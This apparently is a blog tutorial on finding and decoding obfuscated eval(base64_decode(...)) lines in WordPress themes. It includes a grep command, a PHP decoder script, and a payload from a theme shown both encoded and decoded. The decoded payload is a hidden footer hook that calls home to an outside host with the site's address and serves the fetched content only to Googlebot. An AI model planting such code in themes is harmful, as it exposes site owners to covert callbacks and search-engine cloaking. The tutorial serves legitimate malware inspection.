eval(base64_decode('abcdefgh....')

and other variations like
Example 2

eval(gzinflate(str_rot13(base64_decode('abcdefgh...')

This made me curious about why would someone make such an effort to obfuscate their code. Personally I would like to know what code my themes are running so it was not an option not to decode these eval lines in my WordPress themes. This made me wonder if many of my themes that had these lines of code and a simple command from the console would reveal all my themes that had encoded code from the wp-content/themes katalog on your WordPress installation

grep eval |grep decode | grep php * -R

I had several themes containing code of hiding code and some of the themes had hacks that made traffic redirects to other sites.

Decoding Example 1 can be performed by using the following script and inserting the encrypted text in variable $a.

The PHP decoder script
The encrypted text is taken from a unnamed random theme I have downloaded.

<?php
$a = 'ZnVuY3Rpb24gd3BfZ2V0X2Zvb3Rlcl9tZXRhKCkge2dsb2JhbCAkd3BkYjtpZiAoJGFkd2Jfb3B0ID0gJHdwZGItPmdldF92YXIoIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSAkd3BkYi0+b3B0aW9ucyBXSEVSRSBvcHRpb25fbmFtZT0nYWR3Yl9vcHQnIikpJGFkd2Jfb3B0ID0gdW5zZXJpYWxpemUoJGFkd2Jfb3B0KTtlbHNleyRhZHdiX29wdCA9IGFycmF5KDAsJycpOyR3cGRiLT5xdWVyeSgiSU5TRVJUIElOVE8gJHdwZGItPm9wdGlvbnMgKG9wdGlvbl9uYW1lLCBvcHRpb25fdmFsdWUsIGF1dG9sb2FkKSBWQUxVRVMgKCdhZHdiX29wdCcsICciLnNlcmlhbGl6ZSgkYWR3Yl9vcHQpLiInLCAnbm8nKSIpO31pZiAoKHRpbWUoKS0kYWR3Yl9vcHRbMF0pID49IDM2MDApeyRhZHdiX2hvc3QgPSAnYmxvZ2NlbGwubmV0JzskYWR3Yl9nZXQgID0gJy93cGFtLyc7JGFkd2Jfc29jICA9IEBmc29ja29wZW4oJGFkd2JfaG9zdCw4MCwkX2VuLCRfZXMsMzApO2lmICgkYWR3Yl9zb2Mpe0BzdHJlYW1fc2V0X3RpbWVvdXQoJGFkd2Jfc29jLDMwKTtAZndyaXRlKCRhZHdiX3NvYywiR0VUICRhZHdiX2dldCIuJz9oPScudXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyZ1PScudXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICRhZHdiX2hvc3RcclxuQ29ubmVjdGlvbjogQ2xvc2VcclxuXHJcbiIpOyRhZHdiX2RhdGEgPSAnJzt3aGlsZSghZmVvZigkYWR3Yl9zb2MpKSAkYWR3Yl9kYXRhIC49IEBmZ2V0cygkYWR3Yl9zb2MsIDEwMjQpOyRhZHdiX2RhdGEgPSB0cmltKHN0cnN0cigkYWR3Yl9kYXRhLCJcclxuXHJcbiIpKTt9QGZjbG9zZSgkYWR3Yl9zb2MpO3ByZWdfbWF0Y2goJy88YWRidWc+KC4rPyk8XC9hZGJ1Zz4vcycsJGFkd2JfZGF0YSwkYWR3Yl90bXApO2lmKCRhZHdiX3RtcFsxXSE9IiIpeyRhZHdiX29wdCA9IGFycmF5KHRpbWUoKSwgJGFkd2JfdG1wWzFdKTskd3BkYi0+cXVlcnkoIlVQREFURSAkd3BkYi0+b3B0aW9ucyBTRVQgb3B0aW9uX3ZhbHVlPSciLm15c3FsX2VzY2FwZV9zdHJpbmcoc2VyaWFsaXplKCRhZHdiX29wdCkpLiInIFdIRVJFIG9wdGlvbl9uYW1lPSdhZHdiX29wdCciKTt9fWlmIChlcmVnaSgiZ29vZ2xlYm90IiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXtpZiAoJGFkd2Jfb3B0WzFdIT0iIillY2hvICRhZHdiX29wdFsxXTt9fSBhZGRfYWN0aW9uKCJ3cF9mb290ZXIiLCAid3BfZ2V0X2Zvb3Rlcl9tZXRhIik7';
function a($a){ return base64_decode($a);}
while(!$b){
        if(substr($a,0,4) == 'eval' || !$count){
                $a = a(str_replace(Array('eval(base64_decode(\'','\')));'),'',$a);
                $count++;
        }else
                $b = true;
}
echo $a;
?>

To run it from a console window you can do the following, not as a privileged user in case it does something nasty.

php scriptname.php > result.txt

My text would output the following text to the result.txt file

function wp_get_footer_meta() {
global $wpdb;
if ($adwb_opt = $wpdb->get_var("SELECT option_value FROM $wpdb->options WHERE option_name='adwb_opt'"))$adwb_opt = unserialize($adwb_opt);
else{$adwb_opt = array(0,'');
$wpdb->query("INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES ('adwb_opt', '".serialize($adwb_opt)."', 'no')");
}
if ((time()-$adwb_opt[0]) >= 3600){$adwb_host = 'blogcell.net';
$adwb_get  = '/wpam/';$adwb_soc  = @fsockopen($adwb_host,80,$_en,$_es,30);
if ($adwb_soc) {
@stream_set_timeout($adwb_soc,30);
@fwrite($adwb_soc,"GET $adwb_get".'?h='.urlencode($_SERVER['HTTP_HOST']).'&='.urlencode($_SERVER['REQUEST_URI'])." HTTP/1.1\r\nHost: $adwb_host\r\nConnection: Close\r\n\r\n");
$adwb_data = '';
while(!feof($adwb_soc)) $adwb_data .= @fgets($adwb_soc, 1024);
$adwb_data = trim(strstr($adwb_data,"\r\n\r\n"));
}
@fclose($adwb_soc);
preg_match('/(.+?)<\/adbug>/s',$adwb_data,$adwb_tmp);
if($adwb_tmp[1]!=""){$adwb_opt = array(time(), $adwb_tmp[1]);
$wpdb->query("UPDATE $wpdb->options SET option_value='".mysql_escape_string(serialize($adwb_opt))."' HERE option_name='adwb_opt'");
}
}
if (eregi("googlebot",$_SERVER['HTTP_USER_AGENT'])){if ($adwb_opt[1]!="")echo $adwb_opt[1];
}
}
add_action("wp_footer", "wp_get_footer_meta");

You should then decide if the decoded code is something you would like to run on your WordPress site. Some themes are doing this to hide their WordPress theme tricks while other do it to do nasty stuff like redirecting traffic from your site to other sites, etc.

Source: The decoder script was found here